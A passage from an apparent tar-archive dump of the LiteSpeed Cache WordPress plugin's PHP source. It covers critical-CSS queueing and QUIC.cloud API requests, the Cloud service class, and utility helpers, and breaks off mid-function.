( $filename ) { $static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filename . '.css'; if ( file_exists( $static_file ) ) { Debug2::debug2( '[CSS] existing ccss ' . $static_file ); Core::comment( 'QUIC.cloud CCSS loaded ✅ ' . $filepath_prefix . $filename . '.css' ); return File::read( $static_file ); } } $uid = get_current_user_id(); $ua = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : ''; // Store it to prepare for cron Core::comment( 'QUIC.cloud CCSS in queue' ); $this->_queue = $this->load_queue( 'ccss' ); if ( count( $this->_queue ) > 500 ) { self::debug( 'CCSS Queue is full - 500' ); return null; } $queue_k = ( strlen( $vary ) > 32 ? md5( $vary ) : $vary ) . ' ' . $url_tag; $this->_queue[ $queue_k ] = [ 'url' => apply_filters( 'litespeed_ccss_url', $request_url ), 'user_agent' => substr( $ua, 0, 200 ), 'is_mobile' => $this->_separate_mobile(), 'is_webp' => $this->cls( 'Media' )->webp_support() ? 1 : 0, 'uid' => $uid, 'vary' => $vary, 'url_tag' => $url_tag, ]; // Current UA will be used to request $this->save_queue( 'ccss', $this->_queue ); self::debug( 'Added queue_ccss [url_tag] ' . $url_tag . ' [UA] ' . $ua . ' [vary] ' . $vary . ' [uid] ' . $uid ); // Prepare cache tag for later purge Tag::add( 'CCSS.' . md5( $queue_k ) ); return null; } /** * Cron ccss generation. * * @since 2.3 * @access private * * @param bool $should_continue Continue processing multiple items. * @return mixed */ public static function cron_ccss( $should_continue = false ) { $_instance = self::cls(); return $_instance->_cron_handler( 'ccss', $should_continue ); } /** * Handle UCSS/CCSS cron. * * @since 4.2 * * @param string $type Job type: 'ccss' or 'ucss'. * @param bool $should_continue Continue processing multiple items. * @return void */ private function _cron_handler( $type, $should_continue ) { $this->_queue = $this->load_queue( $type ); if ( empty( $this->_queue ) ) { return; } $type_tag = strtoupper( $type ); // For cron, need to check request interval too if ( ! $should_continue ) { if ( ! empty( $this->_summary[ 'curr_request_' . $type ] ) && time() - (int) $this->_summary[ 'curr_request_' . $type ] < 300 && ! $this->conf( self::O_DEBUG ) ) { Debug2::debug( '[' . $type_tag . '] Last request not done' ); return; } } $i = 0; foreach ( $this->_queue as $k => $v ) { if ( ! empty( $v['_status'] ) ) { continue; } Debug2::debug( '[' . $type_tag . '] cron job [tag] ' . $k . ' [url] ' . $v['url'] . ( $v['is_mobile'] ? ' 📱 ' : '' ) . ' [UA] ' . $v['user_agent'] ); if ( 'ccss' === $type && empty( $v['url_tag'] ) ) { unset( $this->_queue[ $k ] ); $this->save_queue( $type, $this->_queue ); Debug2::debug( '[CCSS] wrong queue_ccss format' ); continue; } if ( ! isset( $v['is_webp'] ) ) { $v['is_webp'] = false; } ++$i; $res = $this->_send_req( $v['url'], $k, $v['uid'], $v['user_agent'], $v['vary'], $v['url_tag'], $type, $v['is_mobile'], $v['is_webp'] ); if ( ! $res ) { // Status is wrong, drop this this->_queue unset( $this->_queue[ $k ] ); $this->save_queue( $type, $this->_queue ); if ( ! $should_continue ) { return; } if ( $i > 3 ) { GUI::print_loading( count( $this->_queue ), $type_tag ); return Router::self_redirect( Router::ACTION_CSS, self::TYPE_GEN_CCSS ); } continue; } // Exit queue if out of quota or service is hot if ( 'out_of_quota' === $res || 'svc_hot' === $res ) { return; } $this->_queue[ $k ]['_status'] = 'requested'; $this->save_queue( $type, $this->_queue ); // only request first one if ( ! $should_continue ) { return; } if ( $i > 3 ) { GUI::print_loading( count( $this->_queue ), $type_tag ); return Router::self_redirect( Router::ACTION_CSS, self::TYPE_GEN_CCSS ); } } } /** * Send to QC API to generate CCSS/UCSS. * * @since 2.3 * @access private * * @param string $request_url Request URL. * @param string $queue_k Queue key. * @param int $uid WP User ID. * @param string $user_agent User agent string. * @param string $vary Vary string. * @param string $url_tag URL tag. * @param string $type Type: 'ccss' or 'ucss'. * @param bool $is_mobile Is mobile. * @param bool $is_webp Has webp support. * @return bool|string True on success, 'out_of_quota' / 'svc_hot' on special cases, false on failure. */ private function _send_req( $request_url, $queue_k, $uid, $user_agent, $vary, $url_tag, $type, $is_mobile, $is_webp ) { // Check if has credit to push or not $err = false; $allowance = $this->cls( 'Cloud' )->allowance( Cloud::SVC_CCSS, $err ); if ( ! $allowance ) { Debug2::debug( '[CCSS] ❌ No credit: ' . $err ); $err && Admin_Display::error( Error::msg( $err ) ); return 'out_of_quota'; } set_time_limit( 120 ); // Update css request status $this->_summary[ 'curr_request_' . $type ] = time(); self::save_summary(); // Gather guest HTML to send $html = $this->prepare_html( $request_url, $user_agent, $uid ); if ( ! $html ) { return false; } // Parse HTML to gather all CSS content before requesting list( $css, $html ) = $this->prepare_css( $html, $is_webp ); if ( ! $css ) { $type_tag = strtoupper( $type ); Debug2::debug( '[' . $type_tag . '] ❌ No combined css' ); return false; } // Generate critical css $data = [ 'url' => $request_url, 'queue_k' => $queue_k, 'user_agent' => $user_agent, 'is_mobile' => $is_mobile ? 1 : 0, // todo:compatible w/ tablet 'is_webp' => $is_webp ? 1 : 0, 'html' => $html, 'css' => $css, ]; if ( ! isset( $this->_ccss_whitelist ) ) { $this->_ccss_whitelist = $this->_filter_whitelist(); } $data['whitelist'] = $this->_ccss_whitelist; self::debug( 'Generating: ', $data ); $json = Cloud::post( Cloud::SVC_CCSS, $data, 30 ); if ( ! is_array( $json ) ) { return $json; } // Old version compatibility if ( empty( $json['status'] ) ) { if ( ! empty( $json[ $type ] ) ) { $this->_save_con( $type, $json[ $type ], $queue_k, $is_mobile, $is_webp ); } // Delete the row return false; } // Unknown status, remove this line if ( 'queued' !== $json['status'] ) { return false; } // Save summary data $this->_summary[ 'last_spent_' . $type ] = time() - (int) $this->_summary[ 'curr_request_' . $type ]; $this->_summary[ 'last_request_' . $type ] = $this->_summary[ 'curr_request_' . $type ]; $this->_summary[ 'curr_request_' . $type ] = 0; self::save_summary(); return true; } /** * Save CCSS/UCSS content. * * @since 4.2 * * @param string $type Type: 'ccss' or 'ucss'. * @param string $css CSS content. * @param string $queue_k Queue key. * @param bool $mobile Is mobile. * @param bool $webp Has webp support. * @return void */ private function _save_con( $type, $css, $queue_k, $mobile, $webp ) { // Add filters $css = apply_filters( 'litespeed_' . $type, $css, $queue_k ); // Sanitize: CSS must not contain HTML tags $css = wp_strip_all_tags( $css ); Debug2::debug2( '[CSS] con: ' . $css ); if ( substr( $css, 0, 2 ) === '/*' && substr( $css, -2 ) === '*/' ) { self::debug( '❌ empty ' . $type . ' [content] ' . $css ); // continue; // Save the error info too } // Write to file $filecon_md5 = md5( $css ); $filepath_prefix = $this->_build_filepath_prefix( $type ); $static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filecon_md5 . '.css'; File::save( $static_file, $css, true ); $url_tag = $this->_queue[ $queue_k ]['url_tag']; $vary = $this->_queue[ $queue_k ]['vary']; Debug2::debug2( "[CSS] Save URL to file [file] $static_file [vary] $vary" ); $this->cls( 'Data' )->save_url( $url_tag, $vary, $type, $filecon_md5, dirname( $static_file ), $mobile, $webp ); Purge::add( strtoupper( $type ) . '.' . md5( $queue_k ) ); } /** * Play for fun. * * @since 3.4.3 * * @param string $request_url URL to test. * @return void */ public function test_url( $request_url ) { $user_agent = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : ''; $html = $this->prepare_html( $request_url, $user_agent ); list( $css, $html ) = $this->prepare_css( $html, true, true ); $data = [ 'url' => $request_url, 'ccss_type' => 'test', 'user_agent' => $user_agent, 'is_mobile' => 0, 'html' => $html, 'css' => $css, 'type' => 'CCSS', ]; $json = Cloud::post( Cloud::SVC_CCSS, $data, 180 ); Debug2::debug2( '[CSS][test_url] response', $json ); } /** * Prepare HTML from URL. * * @since 3.4.3 * * @param string $request_url URL to fetch. * @param string $user_agent User agent to use. * @param int|bool $uid Optional user ID for simulation. * @return string|false */ public function prepare_html( $request_url, $user_agent, $uid = false ) { $html = $this->cls( 'Crawler' )->self_curl( add_query_arg( 'LSCWP_CTRL', 'before_optm', $request_url ), $user_agent, $uid ); Debug2::debug2( '[CSS] self_curl result....', $html ); if ( ! $html ) { return false; } $html = $this->cls( 'Optimizer' )->html_min( $html, true ); // Drop <noscript>xxx</noscript> $html = preg_replace( '#<noscript>.*</noscript>#isU', '', $html ); return $html; } /** * Prepare CSS from HTML for CCSS generation only. UCSS will use combined CSS directly. * Prepare refined HTML for both CCSS and UCSS. * * @since 3.4.3 * * @param string $html HTML content. * @param bool $is_webp Convert backgrounds to WebP when supported. * @param bool $dryrun If true, do not fetch external CSS files. * @return array{0:string,1:string} [combined CSS, refined HTML] */ public function prepare_css( $html, $is_webp = false, $dryrun = false ) { $css = ''; preg_match_all( '#<link ([^>]+)/?>|<style([^>]*)>([^<]+)</style>#isU', $html, $matches, PREG_SET_ORDER ); foreach ( $matches as $match ) { $debug_info = ''; if ( strpos( $match[0], '<link' ) === 0 ) { $attrs = Utility::parse_attr( $match[1] ); if ( empty( $attrs['rel'] ) ) { continue; } if ( 'stylesheet' !== $attrs['rel'] ) { if ( 'preload' !== $attrs['rel'] || empty( $attrs['as'] ) || 'style' !== $attrs['as'] ) { continue; } } if ( ! empty( $attrs['media'] ) && false !== strpos( $attrs['media'], 'print' ) ) { continue; } if ( empty( $attrs['href'] ) ) { continue; } // Check Google fonts hit if ( false !== strpos( $attrs['href'], 'fonts.googleapis.com' ) ) { $html = str_replace( $match[0], '', $html ); continue; } $debug_info = $attrs['href']; // Load CSS content if ( ! $dryrun ) { // Dryrun will not load CSS but just drop them $con = $this->cls( 'Optimizer' )->load_file( $attrs['href'] ); if ( ! $con ) { continue; } } else { $con = ''; } } else { // Inline style $attrs = Utility::parse_attr( $match[2] ); if ( ! empty( $attrs['media'] ) && false !== strpos( $attrs['media'], 'print' ) ) { continue; } Debug2::debug2( '[CSS] Load inline CSS ' . substr( $match[3], 0, 100 ) . '...', $attrs ); $con = $match[3]; $debug_info = '__INLINE__'; } $con = Optimizer::minify_css( $con ); if ( $is_webp && $this->cls( 'Media' )->webp_support() ) { $con = $this->cls( 'Media' )->replace_background_webp( $con ); } if ( ! empty( $attrs['media'] ) && 'all' !== $attrs['media'] ) { $con = '@media ' . $attrs['media'] . '{' . $con . "}\n"; } else { $con = $con . "\n"; } $con = '/* ' . $debug_info . ' */' . $con; $css .= $con; $html = str_replace( $match[0], '', $html ); } return [ $css, $html ]; } /** * Filter the comment content, add quotes to selector from whitelist. Return the json. * * @since 7.1 * @return array */ private function _filter_whitelist() { $whitelist = []; $list = apply_filters( 'litespeed_ccss_whitelist', $this->conf( self::O_OPTM_CCSS_SELECTOR_WHITELIST ) ); foreach ( $list as $v ) { if ( substr( $v, 0, 2 ) === '//' ) { continue; } $whitelist[] = $v; } return $whitelist; } /** * Notify finished from server. * * @since 7.1 * @return array */ public function notify() { // phpcs:ignore WordPress.Security.NonceVerification.Missing $post_data = \json_decode( file_get_contents( 'php://input' ), true ); if ( is_null( $post_data ) ) { // Fallback for form-encoded payloads // phpcs:ignore WordPress.Security.NonceVerification.Missing $post_data = $_POST; } self::debug( 'notify() data', $post_data ); $this->_queue = $this->load_queue( 'ccss' ); list( $post_data ) = $this->cls( 'Cloud' )->extract_msg( $post_data, 'ccss' ); $notified_data = $post_data['data']; if ( empty( $notified_data ) || ! is_array( $notified_data ) ) { self::debug( '❌ notify exit: no notified data' ); return Cloud::err( 'no notified data' ); } // Check if its in queue or not $valid_i = 0; foreach ( $notified_data as $v ) { if ( empty( $v['request_url'] ) ) { self::debug( '❌ notify bypass: no request_url', $v ); continue; } if ( empty( $v['queue_k'] ) ) { self::debug( '❌ notify bypass: no queue_k', $v ); continue; } if ( empty( $this->_queue[ $v['queue_k'] ] ) ) { self::debug( '❌ notify bypass: no this queue [q_k]' . $v['queue_k'] ); continue; } // Save data if ( ! empty( $v['data_ccss'] ) ) { $is_mobile = $this->_queue[ $v['queue_k'] ]['is_mobile']; $is_webp = $this->_queue[ $v['queue_k'] ]['is_webp']; $this->_save_con( 'ccss', $v['data_ccss'], $v['queue_k'], $is_mobile, $is_webp ); ++$valid_i; } unset( $this->_queue[ $v['queue_k'] ] ); self::debug( 'notify data handled, unset queue [q_k] ' . $v['queue_k'] ); } $this->save_queue( 'ccss', $this->_queue ); self::debug( 'notified' ); return Cloud::ok( [ 'count' => $valid_i ] ); } /** * Handle all request actions from main cls. * * @since 2.3 * @access public * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_GEN_CCSS: self::cron_ccss( true ); break; case self::TYPE_CLEAR_Q_CCSS: $this->clear_q( 'ccss' ); break; default: break; } Admin::redirect(); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/cloud.cls.php�����������������������������������������������������������0000644�����������������00000016514�15233526476�0014456 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Cloud service cls * * @package LiteSpeed * @since 3.0 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Cloud * * Handles QUIC.cloud communication, node detection, activation, and related utilities. */ class Cloud extends Base { use Cloud_Auth; use Cloud_Request; use Cloud_Node; use Cloud_Misc; const LOG_TAG = '❄️'; /** * Base API server URL. * * @var string */ private $_cloud_server = 'https://api.quic.cloud'; /** * Cloud IPs endpoint. * * @var string */ private $_cloud_ips = 'https://quic.cloud/ips'; /** * Cloud dashboard URL. * * @var string */ private $_cloud_server_dash = 'https://my.quic.cloud'; /** * Cloud WP API server URL. * * @var string */ protected $_cloud_server_wp = 'https://wpapi.quic.cloud'; const SVC_D_ACTIVATE = 'd/activate'; const SVC_U_ACTIVATE = 'u/wp3/activate'; const SVC_D_ENABLE_CDN = 'd/enable_cdn'; const SVC_D_LINK = 'd/link'; const SVC_D_API = 'd/api'; const SVC_D_DASH = 'd/dash'; const SVC_D_V3UPGRADE = 'd/v3upgrade'; const SVC_U_LINK = 'u/wp3/link'; const SVC_U_ENABLE_CDN = 'u/wp3/enablecdn'; const SVC_D_STATUS_CDN_CLI = 'd/status/cdn_cli'; const SVC_D_NODES = 'd/nodes'; const SVC_D_SYNC_CONF = 'd/sync_conf'; const SVC_D_USAGE = 'd/usage'; const SVC_D_SETUP_TOKEN = 'd/get_token'; const SVC_D_DEL_CDN_DNS = 'd/del_cdn_dns'; const SVC_PAGE_OPTM = 'page_optm'; const SVC_CCSS = 'ccss'; const SVC_UCSS = 'ucss'; const SVC_VPI = 'vpi'; const SVC_LQIP = 'lqip'; const SVC_QUEUE = 'queue'; const SVC_IMG_OPTM = 'img_optm'; const SVC_HEALTH = 'health'; const SVC_CDN = 'cdn'; const SVC_OPTIMAX = 'optimax'; const IMG_OPTM_DEFAULT_GROUP = 200; const IMGOPTM_TAKEN = 'img_optm-taken'; const TTL_NODE = 3; // Days before node expired const EXPIRATION_REQ = 300; // Seconds of min interval between two unfinished requests const TTL_IPS = 3; // Days for node ip list cache const API_REPORT = 'wp/report'; const API_NEWS = 'news'; const API_VER = 'ver_check'; const API_BETA_TEST = 'beta_test'; const API_REST_ECHO = 'tool/wp_rest_echo'; const API_SERVER_KEY_SIGN = 'key_sign'; /** * Center services hosted at the central API server. * * @var string[] */ private static $center_svc_set = [ self::SVC_D_ACTIVATE, self::SVC_U_ACTIVATE, self::SVC_D_ENABLE_CDN, self::SVC_D_LINK, self::SVC_D_NODES, self::SVC_D_SYNC_CONF, self::SVC_D_USAGE, self::SVC_D_API, self::SVC_D_V3UPGRADE, self::SVC_D_DASH, self::SVC_D_STATUS_CDN_CLI, // self::API_NEWS, self::API_REPORT, // self::API_VER, // self::API_BETA_TEST, self::SVC_D_SETUP_TOKEN, self::SVC_D_DEL_CDN_DNS, ]; /** * Services hosted on the WP API server. * * @var string[] */ private static $wp_svc_set = [ self::API_NEWS, self::API_VER, self::API_BETA_TEST, self::API_REST_ECHO ]; /** * Public services that do not require an API key. * * @var string[] */ private static $_pub_svc_set = [ self::API_NEWS, self::API_REPORT, self::API_VER, self::API_BETA_TEST, self::API_REST_ECHO, self::SVC_D_V3UPGRADE, self::SVC_D_DASH ]; /** * Services that should go through the queue. * * @var string[] */ private static $_queue_svc_set = [ self::SVC_CCSS, self::SVC_UCSS, self::SVC_VPI ]; /** * Services that need load check. * * @var string[] */ public static $services_load_check = [ // self::SVC_CCSS, // self::SVC_UCSS, // self::SVC_VPI, self::SVC_LQIP, self::SVC_HEALTH, ]; /** * All supported services. * * @var string[] */ public static $services = [ self::SVC_IMG_OPTM, self::SVC_PAGE_OPTM, self::SVC_CCSS, self::SVC_UCSS, self::SVC_VPI, self::SVC_LQIP, self::SVC_CDN, self::SVC_HEALTH, self::SVC_OPTIMAX, // self::SVC_QUEUE, ]; const TYPE_CLEAR_PROMO = 'clear_promo'; const TYPE_REDETECT_CLOUD = 'redetect_cloud'; const TYPE_CLEAR_CLOUD = 'clear_cloud'; const TYPE_ACTIVATE = 'activate'; const TYPE_LINK = 'link'; const TYPE_ENABLE_CDN = 'enablecdn'; const TYPE_API = 'api'; const TYPE_SYNC_USAGE = 'sync_usage'; const TYPE_RESET = 'reset'; const TYPE_SYNC_STATUS = 'sync_status'; /** * Summary data for cloud interactions. * * @var array<string,mixed> */ protected $_summary; /** * Init * * @since 3.0 */ public function __construct() { $allowed_hosts = [ 'wpapi.quic.cloud' ]; if ( defined( 'LITESPEED_DEV' ) && constant( 'LITESPEED_DEV' ) ) { $allowed_hosts[] = 'my.preview.quic.cloud'; $allowed_hosts[] = 'api.preview.quic.cloud'; $this->_cloud_server = 'https://api.preview.quic.cloud'; $this->_cloud_ips = 'https://api.preview.quic.cloud/ips'; $this->_cloud_server_dash = 'https://my.preview.quic.cloud'; $this->_cloud_server_wp = 'https://wpapi.quic.cloud'; } else { $allowed_hosts[] = 'my.quic.cloud'; $allowed_hosts[] = 'api.quic.cloud'; } add_filter( 'allowed_redirect_hosts', function( $hosts ) use ( $allowed_hosts ) { if ( ! is_array ( $hosts ) ) { $hosts = []; } return array_merge( $hosts, $allowed_hosts ); } ); $this->_summary = self::get_summary(); } /** * Return succeeded response * * @since 3.0 * * @param array $data Additional data. * @return array */ public static function ok( $data = [] ) { $data['_res'] = 'ok'; return $data; } /** * Return error * * @since 3.0 * * @param string $code Error code. * @return array */ public static function err( $code ) { self::debug( '❌ Error response code: ' . $code ); return [ '_res' => 'err', '_msg' => $code, ]; } /** * Handle all request actions from main cls * * @since 3.0 * @access public */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_CLEAR_CLOUD: $this->clear_cloud(); break; case self::TYPE_REDETECT_CLOUD: // phpcs:ignore WordPress.Security.NonceVerification.Recommended $svc = ! empty( $_GET['svc'] ) ? sanitize_text_field( wp_unslash( $_GET['svc'] ) ) : ''; if ( $svc ) { $this->detect_cloud( $svc, true ); } break; case self::TYPE_CLEAR_PROMO: $this->_clear_promo(); break; case self::TYPE_RESET: $this->reset_qc(); break; case self::TYPE_ACTIVATE: $this->init_qc(); break; case self::TYPE_LINK: $this->link_qc(); break; case self::TYPE_ENABLE_CDN: $this->enable_cdn(); break; case self::TYPE_API: // phpcs:ignore WordPress.Security.NonceVerification.Recommended $action2 = ! empty( $_GET['action2'] ) ? sanitize_text_field( wp_unslash( $_GET['action2'] ) ) : ''; if ( $action2 ) { $this->api_link_call( $action2 ); } break; case self::TYPE_SYNC_STATUS: $this->load_qc_status_for_dash( 'cdn_dash', true ); $msg = __( 'Sync QUIC.cloud status successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); break; case self::TYPE_SYNC_USAGE: $this->sync_usage(); $msg = __( 'Sync credit allowance with Cloud Server successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); break; default: break; } Admin::redirect(); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/utility.cls.php���������������������������������������������������������0000644�����������������00000064016�15233526476�0015053 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Utility helpers for LiteSpeed Cache. * * @since 1.1.5 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Miscellaneous utility methods used across the plugin. */ class Utility extends Root { /** * Cached list of extra internal domains. * * @var array<int,string>|null */ private static $_internal_domains; /** * Validate a list of regex rules by attempting to compile them. * * @since 1.0.9 * @since 3.0 Moved here from admin-settings.cls * @param array<int,string> $rules Regex fragments (without delimiters). * @return bool True for valid rules, false otherwise. */ public static function syntax_checker( $rules ) { return false !== preg_match( self::arr2regex( $rules ), '' ); } /** * Combine an array of strings into a single alternation regex. * * @since 3.0 * * @param array<int,string> $arr List of strings. * @param bool $drop_delimiter When true, return without regex delimiters. * @return string Regex pattern. */ public static function arr2regex( $arr, $drop_delimiter = false ) { $arr = self::sanitize_lines( $arr ); $new_arr = []; foreach ( $arr as $v ) { $new_arr[] = preg_quote( $v, '#' ); } $regex = implode( '|', $new_arr ); $regex = str_replace( ' ', '\\ ', $regex ); if ( $drop_delimiter ) { return $regex; } return '#' . $regex . '#'; } /** * Replace wildcard characters in a string/array with their regex equivalents. * * @since 3.2.2 * * @param string|array<int,string> $value String or list of strings. * @return string|array<int,string> */ public static function wildcard2regex( $value ) { if ( is_array( $value ) ) { return array_map( __CLASS__ . '::wildcard2regex', $value ); } if ( false !== strpos( $value, '*' ) ) { $value = preg_quote( $value, '#' ); $value = str_replace( '\*', '.*', $value ); } return $value; } /** * Get current page type string. * * @since 2.9 * * @return string Page type. */ public static function page_type() { global $wp_query; $page_type = 'default'; if ( $wp_query->is_page ) { $page_type = is_front_page() ? 'front' : 'page'; } elseif ( $wp_query->is_home ) { $page_type = 'home'; } elseif ( $wp_query->is_single ) { $page_type = get_post_type(); } elseif ( $wp_query->is_category ) { $page_type = 'category'; } elseif ( $wp_query->is_tag ) { $page_type = 'tag'; } elseif ( $wp_query->is_tax ) { $page_type = 'tax'; } elseif ( $wp_query->is_archive ) { if ( $wp_query->is_day ) { $page_type = 'day'; } elseif ( $wp_query->is_month ) { $page_type = 'month'; } elseif ( $wp_query->is_year ) { $page_type = 'year'; } elseif ( $wp_query->is_author ) { $page_type = 'author'; } else { $page_type = 'archive'; } } elseif ( $wp_query->is_search ) { $page_type = 'search'; } elseif ( $wp_query->is_404 ) { $page_type = '404'; } return $page_type; } /** * Get ping speed to a domain via HTTP HEAD timing. * * @since 2.9 * * @param string $domain Domain or URL. * @return int Milliseconds (99999 on error). */ public static function ping( $domain ) { if ( false !== strpos( $domain, ':' ) ) { $host = wp_parse_url( $domain, PHP_URL_HOST ); $domain = $host ? $host : $domain; } $starttime = microtime(true); $file = fsockopen($domain, 443, $errno, $errstr, 10); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fsockopen $stoptime = microtime(true); $status = 0; if (!$file) { $status = 99999; } else { // Site is up fclose($file); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose $status = ($stoptime - $starttime) * 1000; $status = floor($status); } Debug2::debug("[Util] ping [Domain] $domain \t[Speed] $status"); return $status; } /** * Convert seconds/timestamp to a readable relative time. * * @since 1.6.5 * * @param int $seconds_or_timestamp Seconds or 10-digit timestamp. * @param int $timeout If older than this, show absolute time. * @param bool $forward When true, omit "ago". * @return string Human readable time. */ public static function readable_time( $seconds_or_timestamp, $timeout = 3600, $forward = false ) { if ( 10 === strlen( (string) $seconds_or_timestamp ) ) { $seconds = time() - (int) $seconds_or_timestamp; if ( $seconds > $timeout ) { return gmdate( 'm/d/Y H:i:s', (int) $seconds_or_timestamp + (int) LITESPEED_TIME_OFFSET ); } } else { $seconds = (int) $seconds_or_timestamp; } $res = ''; if ( $seconds > 86400 ) { $num = (int) floor( $seconds / 86400 ); $res .= $num . 'd'; $seconds %= 86400; } if ( $seconds > 3600 ) { if ( $res ) { $res .= ', '; } $num = (int) floor( $seconds / 3600 ); $res .= $num . 'h'; $seconds %= 3600; } if ( $seconds > 60 ) { if ( $res ) { $res .= ', '; } $num = (int) floor( $seconds / 60 ); $res .= $num . 'm'; $seconds %= 60; } if ( $seconds > 0 ) { if ( $res ) { $res .= ' '; } $res .= $seconds . 's'; } if ( ! $res ) { return $forward ? __( 'right now', 'litespeed-cache' ) : __( 'just now', 'litespeed-cache' ); } return $forward ? $res : sprintf( __( ' %s ago', 'litespeed-cache' ), $res ); } /** * Convert array to a compact base64 JSON string. * * @since 1.6 * * @param mixed $arr Input array or scalar. * @return string|mixed Encoded string or original value. */ public static function arr2str( $arr ) { if ( ! is_array( $arr ) ) { return $arr; } return base64_encode( wp_json_encode( $arr ) ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode } /** * Convert size in bytes to human readable form. * * @since 1.6 * * @param int $filesize Bytes. * @param bool $is_1000 When true, use 1000-based units. * @return string */ public static function real_size( $filesize, $is_1000 = false ) { $unit = $is_1000 ? 1000 : 1024; if ( $filesize >= pow( $unit, 3 ) ) { $filesize = round( ( $filesize / pow( $unit, 3 ) ) * 100 ) / 100 . 'G'; } elseif ( $filesize >= pow( $unit, 2 ) ) { $filesize = round( ( $filesize / pow( $unit, 2 ) ) * 100 ) / 100 . 'M'; } elseif ( $filesize >= $unit ) { $filesize = round( ( $filesize / $unit ) * 100 ) / 100 . 'K'; } else { $filesize = $filesize . 'B'; } return $filesize; } /** * Parse HTML attribute string into an array. * * @since 1.2.2 * @since 1.4 Moved from optimize to utility * @access private * * @param string $str Raw attribute string. * @return array<string,string> Attributes. */ public static function parse_attr( $str ) { $attrs = []; $parsed = wp_kses_hair( $str, self::_kses_protocols() ); foreach ( $parsed as $name => $data ) { $attrs[ $name ] = $data['value']; } return $attrs; } /** * Remove an attribute from an HTML attribute string using wp_kses_hair. * * @since 7.8 * * @param string $attr_str Raw attribute string (e.g. ' type="text/javascript" src="..."'). * @param string $attr_name Attribute name to remove (e.g. 'type', 'async'). * @return string Attribute string with the named attribute removed. */ public static function remove_attr( $attr_str, $attr_name ) { $parsed = wp_kses_hair( $attr_str, self::_kses_protocols() ); if ( ! isset( $parsed[ $attr_name ] ) ) { return $attr_str; } $whole = $parsed[ $attr_name ]['whole']; // For valueless attrs (e.g. async), use word boundary to avoid partial match (e.g. async-fallback) if ( 'y' === $parsed[ $attr_name ]['vless'] ) { return preg_replace( '# ' . preg_quote( $whole, '#' ) . '(?=\s|>|/|$)#i', '', $attr_str, 1 ); } // For attrs with value (e.g. type="text/javascript"), straight replace is safe $result = str_replace( ' ' . $whole, '', $attr_str ); // Handle edge case: attr at the very start of string (no leading space) if ( $result === $attr_str && 0 === strpos( $attr_str, $whole ) ) { $result = ltrim( substr( $attr_str, strlen( $whole ) ) ); } return $result; } /** * Return allowed protocols including data: for attribute parsing. * * WordPress wp_allowed_protocols() does not include data:, but our parse/remove * helpers must preserve data: URIs (e.g. base64 placeholder images). * * @since 7.8 * @return string[] */ private static function _kses_protocols() { static $protocols; if ( null === $protocols ) { $protocols = array_merge( wp_allowed_protocols(), [ 'data' ] ); } return $protocols; } /** * Search for a hit within an array of strings/rules. * * Supports ^prefix, suffix$, ^exact$, and substring. * * @since 1.3 * @access private * * @param string $needle The string to compare. * @param array $haystack Array of rules/strings. * @param bool $has_ttl When true, support "rule TTL" format. * @return bool|string|array False if not found; matched item or [item, ttl] if has_ttl. */ public static function str_hit_array( $needle, $haystack, $has_ttl = false ) { if ( ! $haystack ) { return false; } if ( ! is_array( $haystack ) ) { Debug2::debug( '[Util] ❌ bad param in str_hit_array()!' ); return false; } $hit = false; $this_ttl = 0; foreach ( $haystack as $item ) { if ( ! $item ) { continue; } if ( $has_ttl ) { $this_ttl = 0; $item = explode( ' ', $item ); if ( ! empty( $item[1] ) ) { $this_ttl = $item[1]; } $item = $item[0]; } if ( '^' === substr( $item, 0, 1 ) && '$' === substr( $item, -1 ) ) { if ( substr( $item, 1, -1 ) === $needle ) { $hit = $item; break; } } elseif ( '$' === substr( $item, -1 ) ) { if ( substr( $item, 0, -1 ) === substr( $needle, -strlen( $item ) + 1 ) ) { $hit = $item; break; } } elseif ( '^' === substr( $item, 0, 1 ) ) { if ( substr( $item, 1 ) === substr( $needle, 0, strlen( $item ) - 1 ) ) { $hit = $item; break; } } elseif ( false !== strpos( $needle, $item ) ) { $hit = $item; break; } } if ( $hit ) { return $has_ttl ? [ $hit, $this_ttl ] : $hit; } return false; } /** * Load PHP-compat library. * * @since 1.2.2 * @return void */ public static function compatibility() { require_once LSCWP_DIR . 'lib/php-compatibility.func.php'; } /** * Convert URI path to absolute URL. * * @since 1.3 * * @param string $uri Relative path `/a/b.html` or `a/b.html`. * @return string Absolute URL. */ public static function uri2url( $uri ) { if ( '/' === substr( $uri, 0, 1 ) ) { self::domain_const(); $url = LSCWP_DOMAIN . $uri; } else { $url = home_url( '/' ) . $uri; } return $url; } /** * Get basename from URL. * * @since 4.7 * * @param string $url URL. * @return string Basename. */ public static function basename( $url ) { $url = trim( $url ); $uri = wp_parse_url( $url, PHP_URL_PATH ); $basename = pathinfo( (string) $uri, PATHINFO_BASENAME ); return $basename; } /** * Drop .webp and .avif suffix from a filename. * * @since 4.7 * * @param string $filename Filename. * @return string Cleaned filename. */ public static function drop_webp( $filename ) { if ( in_array( substr( $filename, -5 ), [ '.webp', '.avif' ], true ) ) { $filename = substr( $filename, 0, -5 ); } return $filename; } /** * Convert URL to URI (optionally keep query). * * @since 1.2.2 * @since 1.6.2.1 Added 2nd param keep_qs * * @param string $url URL. * @param bool $keep_qs Keep query string. * @return string URI. */ public static function url2uri( $url, $keep_qs = false ) { $url = trim( $url 